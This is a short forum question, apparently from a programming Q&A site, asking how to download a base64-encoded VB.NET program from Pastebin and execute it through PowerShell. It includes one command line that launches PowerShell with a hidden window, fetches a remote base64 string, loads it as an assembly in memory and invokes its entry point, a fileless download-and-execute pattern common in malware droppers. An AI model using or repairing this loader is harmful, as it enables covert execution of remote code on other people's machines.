title: how to run base64 from powershell?
body: <p>I have a program written in vb.net and I converted it to base64 strings and uploaded the base64 strings to pastebin.</p>
  
  <p>How I can download it and execute it from a Powershell command? </p>
  
  <p>I tried this but it's not working:</p>
  
  <pre><code>PowerShell.exe -windowstyle hidden -noexit [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('https://pastbin.com/raw/xxxxxxxx'))).EntryPoint.invoke($null,$null)
  </code></pre>
  
  <p>any help will be appreciated thanks in advance</p>